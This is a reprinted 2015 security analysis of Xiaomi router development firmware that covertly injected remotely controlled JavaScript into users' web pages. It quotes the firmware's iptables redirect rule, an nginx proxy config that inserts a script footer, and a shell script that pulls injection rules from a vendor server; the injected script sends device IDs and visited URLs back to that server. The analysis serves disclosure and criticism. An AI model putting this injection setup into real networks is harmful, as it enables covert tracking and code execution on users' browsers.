50万奖金+官方证书,深圳国际金融科技大赛正式启动,点击报名 了解详情
写点什么

小米路由器劫持用户浏览器事件始末

  • 2015-06-29
  • 本文字数:3967 字

    阅读完需:约 13 分钟

声明:为了更好地向读者输出更优质的内容,InfoQ 将精选来自国内外的优秀文章,经过整理审校后,发布到网站。本篇文章作者为乌云白帽子 lxj616,原文链接。本文已由乌云网授权InfoQ 中文站转载。欢迎转发,但请保留原作者信息!

0x00 概述

小米路由器开发版固件被用户发现(并非稳定版固件,不会影响大多数用户,如果你不明白这是什么意思,它不会影响到你)使用黑客技术劫持用户浏览器向用户投送广告。该技术在黑客界广泛用于偷取用户密码甚至可能控制用户电脑和手机。目前小米官方已经作出回应,称该事件为“借机炒作恶意煽动”,并解释“所谓的广告”是友好的新功能提示。目前小米官方已经做出相应调整,该功能已经暂时失效。

2015 年 6 月初,有用户举报说最新开发版(2.3.31)的小米路由器固件劫持了用户浏览器,在用户完全不知情的情况下向浏览器发送广告代码并执行。本文以官方提供下载的 2.3.5 版本进行代码分析,论证其功能的技术实现以及可能的影响,并对照小米官方微博的声明进行技术核对和解释。

0x01 用户举报

在 V2EX 上由用户反映在通过小米路由器浏览网页时,网页被注入了 JS 代码,而这段代码目前还只是被用来显示广告。《小米路由器先劫持http 错误码, 现在又在部分网站添加小尾巴,什么节奏?》这意味着你在完全不知情的前提下,你看到的所有内容其实都受小米路由器的控制,这段代码可以被用来显示广告,也可以偷取你的密码,可以随便修改任何网页的内容来欺骗你,甚至如果你的浏览器有漏洞的话,小米路由器还可能会控制你的电脑或手机。

0x02 原理分析 & 代码分析

在代码分析之前概述一下。简单地说,你通过一个路由器来上网,你把数据先交给路由器,然后路由器才把数据通过网线送出你家。而小米路由器对你交给它的数据做了手脚——不仅看了,还修改了。以下代码来自官方网站提供下载的 2.3.5 版本,使用 binwalk 解压固件 fs,再分析得到的代码。

http://bigota.miwifi.com/xiaoqiang/rom/r1cm/miwifi_r1cm_firmware_7054f_2.3.5.bin 下面为 /lib/firewall/rr.loader 第 20 行:

iptables -t nat -A "$1" -m set --match-set "rr_tb" dst -p tcp -j REDIRECT --to-ports 8380在转发用户数据包之前把所有 rr_tb 列表里面目的为 80 端口的 tcp 数据包重定向至 8380 端口,这个是 dnsmasq+ipset 从小米服务器上获取的域名 IP。

下面为 /etc/sysapihttpd/sysapihttpd.conf 第 384 行:

复制代码
miwifi_toolbar_config miwifi_toolbar_zone 500K "RR_PATH_STUB";
server {
listen 8380;
resolver localhost;
location / {
set $device_id "DEV_ID_STUB";
set $rom_version "ROM_VERSION_STUB";
set $hardware "DEV_MODEL_STUB";
set $channel "CHANNEL_STUB";
include "/tmp/rr/footer";
miwifi_toolbar miwifi_toolbar_zone;
proxy_pass $scheme://$host$request_uri;
proxy_ignore_client_abort off;
proxy_connect_timeout 30s;
proxy_read_timeout 30s;
proxy_send_timeout 30s;
proxy_buffering off;
proxy_set_header Accept-Encoding '';
proxy_max_temp_file_size 0;
proxy_set_header Host $http_host;
}
}

其实 sysapihttpd 就是 nginx,监听 8380 端口,做了一个反向代理(用在本地相当于透明代理),插入了 /tmp/rr/footer 代码(RR_PATH_STUB),至于什么是反向代理,请参考乌云知识库之前的文章《钓鱼?这是反代理!》,那么,这个/tmp/rr/footer 是哪里来的呢?

下面为/usr/bin/pull-req-rule 第22 行:

复制代码
create_url() {
local ts=${1:-0}
local device_id=$(matool --method deviceID)
local rom=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.ROM)
local hardware=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.HARDWARE)
local channel=$(uci -q -c /usr/share/xiaoqiang get xiaoqiang_version.version.CHANNEL)
local url="http://api.miwifi.com/rr/config"
echo $url'?'ts=$ts'&'device_id=$device_id'&'rom=$rom'&'hardware=$hardware'&'channel=$channel
}
extract_footer() {
local footer_file="$rr_prefix/footer"
local footer=$(cat $content_file | grep '^footer' | cut -d$'\t' -f 2)
echo "miwifi_toolbar_template \"$footer\";" > $footer_file
}

第一个函数是配置文件的地址,第二个函数是将配置文件中的广告代码放进上文所说的文件中之后我们根据 url 的生成规则去看一眼这个 config 文件:
http://api.miwifi.com/rr/config?ts=1&device_id=0&rom=2.3.31&hardware=miwifi&channel=0

复制代码
ts 1
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 0 0

我们可以清晰的看到,这段代码是加载了一个来自 api.miwifi.com 的 JS 代码文件,换句话说,这个文件里的代码你会无条件的直接执行,无论它是偷密码的,还是发广告的。 而规则已经被小米官方清空,这也意味着不再向任何域名投放广告,但是这仅仅意味着小米服务器指示你的路由器不再 JS 注入,小米可以任意时间通过修改这个 api.miwifi.com 上的控制文件来重新指示你的路由器做 JS 注入,而你到时候完全不会知道发生了什么。

在小米作出相应调整之前,有网友记录的 config 文件内容为(原地址 http://pastebin.com/4t7eKNsA ):

复制代码
ts 1434688147041
footer <script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&c
hannel=${channel}\"></script></body></html>
exclude_suffix .css|.js|.jpeg|.png|.gif|.ico
rule_count 845 845
rule 67a.cn 1 0
w_rule / * l t
rule lizhidy.com 1 0
w_rule / * l t
rule hacg.be 1 0
w_rule / * l t
…………………省略……………………

这里的 rule 是指投放 JS 代码的域名列表,只要在这个列表里,访问时就会注入 JS。形象的比喻:小米具有定向打击的能力,它能在任意时间,任意域名下给你投放任意代码,小米官方称这只是友好的新功能提示,网上炒作都是恶意抹黑。显而易见的是“小米对这段代码有绝对的控制权,友好不友好都是受小米控制的,代码内容是广告还是木马到头来完全听从小米的,而你上网时必须听从这段代码的指挥”。

该代码是一个动态代码,实时从小米官方服务器上获取指令执行,用户无法干预该指令的执行,并且无法得知该指令的存在。

这就是所谓的广告代码,小米对该代码有绝对控制权,可以在任意时间投放任意代码给用户执行。

0x03 到底广告友好不友好

再看看上文小米路由器插入的广告代码,不看不要紧,一看吓一跳:

<script src=\"http://api.miwifi.com/toolbar?device_id=${device_id}&host=${host}&uri=${uri}&rom=${rom_version}&hardware=${hardware}&channel=${channel}\"></script>host 是你访问的网站,uri 是你访问网站时浏览的页面(以及你提交的 GET 查询数据),该数据可能包含你的账号名称、身份标识。换句话说就是你在网页里输入的东西都有可能被发往小米官方服务器,你看到什么,小米官方就能看到什么。技术上讲,你在访问网页时被跟踪了,这段代码执行时不仅仅是显示广告,还把你浏览器地址栏里面的内容全都发送到了小米服务器上。

从网友提供的图片可以看到,网友正在浏览的网页地址 http://movie.douban.com/subject/25718082 被小米路由器主动提交给了小米官方服务器(因为该网页并不包含特别机密信息,且网友已经公开本图片,请允许我在此公开该网页地址,请该网友见谅。)

0x04 总结

  1. 小米官方称“开发版试水”情况属实,并不会影响到正常使用稳定版的用户。
  2. 小米官方称“已经作出相应调整”情况属实,临时取消 JS 注入域名清单(取消注入)。
  3. 网友所说的 JS 注入情况属实,并且并非静态 JS,而是小米服务器上的动态 JS。
  4. 网友所说的浏览器劫持情况属实,官方所说手机 APP 能够关闭 404 页面情况属实,但是这个功能默认是开着的,需要手动关闭。
  5. 小米官方称“炒作”情况属实,首先用户在反馈时忘记注明是开发版固件,因此使用的并不是普通用户的稳定版功能,而媒体并没有解释“开发版”的含义,盲目大力渲染“劫持、注入”的危害,给用户造成了片面印象,“小米对手动安装了开发版固件的无辜用户做了劫持和 JS 注入,但还没有在全国强推该计划”。
  6. 小米官方称“友好的新功能提示”不实,该代码将用户的浏览信息上传至小米服务器(具体来说,你看的每一个网页地址,某些情况下可能包含用户名、密码)。
  7. 404 页面劫持会泄露用户浏览的网页地址情况属实,但是一般来说这不会泄露个人隐私。另外 404 也有开关了,因此不再讨论。

个人观点:小米路由器开发版设计的浏览器劫持、JS 代码注入功能性质恶劣,严重侵犯了用户的隐私权,甚至将来有可能借此入侵用户的计算机与手机。并且所插入的 JS 代码确实将用户的隐私信息(浏览器访问网站的地址及部分用户输入的内容)窃取至小米服务器,已经可以定性为后门程序。然而开发版意味着该功能只是技术尝试,并未给普通用户造成实际影响,因此虽然性质恶劣但是目前影响并不大。我认为小米有意将木马程序推送给全国用户,暂时先在开发版里试一下水,如果不被发现就继续这么干下去了,现在被发现之后轻描淡写称开发版是逗你们玩儿的。笔者不禁想起之前大量 discuz 论坛被黑的事件,域名被劫持加上恶意代码,导致使用 discuz 论坛的站长在登录后台之后执行了恶意代码自己论坛被黑。

2015-06-29 10:4114384

评论

发布
暂无评论
发现更多内容

让数据“活”起来 腾讯位置服务数据可视化JS API持续升级

监控系统使用对比 -- 你怎么看当前的主流监控系统

耳东@Erdong

关系型数据库 Prometheus 时序数据库 zabbix 9月日更

百度飞桨发布开源生态最新成果:汇聚370万开发者

百度大脑

人工智能

微信朋友圈 - 服务高性能复杂度分析

黑鹰

国庆出游神器:魔幻黑科技换天造物,让vlog秒变科幻大片!

华为云开发者联盟

视频 modelarts 科幻 国庆 天空

从产业链、架构和技术三个层面,看元宇宙与RPA的发展关系

王吉伟频道

RPA 自动化 区块链+ 机器人流程自动化 元宇宙

在线GIF图片帧拆分工具

入门小站

工具

Go 新人学习资料汇总(持续更新)

baiyutang

golang 9月日更

用 Go 写的轻量级 OpenLdap 弱密码检测工具

Marionxue

Docker Docker-compose 弱密码 openldap Go 语言

宇宙最强语言PHP的“全栈”框架——Laravel来了!

博文视点Broadview

不吹不黑一份代码即可进Kaggle排行榜!

cv君

AI 引航计划

Dom4j 如何输出 Document 中的内容到文本

HoneyMoose

华为云开源的Karmada正式成为CNCF首个多云容器编排项目

华为云开发者联盟

容器 集群 cncf Karmada

一文深度挖掘AI的图像分类能力!

cv君

AI 引航计划

国家级|深信服再获CNCERT应急服务国家级支撑单位称号!

科技热闻

Centos7升级Python2到Python3

入门小站

Linux

关于Promise你需要知道的一切

devpoint

大前端 Promise 引航计划

堡垒机和虚拟机的两大区别分析-行云管家

行云管家

网络安全 虚拟机 服务器 堡垒机

WebRTC 的本地视频预览播放器

liuzhen007

音视频 引航计划 领航计划

百度联手清华大学出版社 打造国内首套产教融合人工智能系列教材

百度大脑

看动画学算法之:doublyLinkedList

程序那些事

数据结构 算法 看动画学算法 程序那些事

一文讲清楚FusionInsight MRS CDL如何使用

华为云开发者联盟

大数据 数据湖 FusionInsight MRS 集成 CDL

走进吉利|EMQ 映云科技助力车企“新四化”

EMQ映云科技

车联网 物联网 IoT emq iov

恒拓高科亮相中国-东北亚博览会,赋能海内外企业构建数字化新生态

BeeWorks

阅读

等保二级需要测评吗?多久测评一次?

行云管家

网络安全 堡垒机 等保测评 过等保 二级等保

湖南交通学院校友联谊圈小程序设计方案

CC同学

Java 面试八股文之基础篇(一)

Dobbykim

谈 C++17 里的 State 模式之一

hedzr

算法 设计模式 Design Patterns c++17 有限状态机

探究数字内容生产商机,把握未来内容生产脉搏

华为云开发者联盟

媒体 视频 华为云 数字内容 影视

快准狠!百万年薪的阿里架构师分享深入剖析Java虚拟机文档

Java 架构 面试 程序人生 编程语言

恒源云(GpuShare)_快进来!这里有超高性价比的GPU资源

恒源云

深度学习

小米路由器劫持用户浏览器事件始末_安全_lxj616_InfoQ精选文章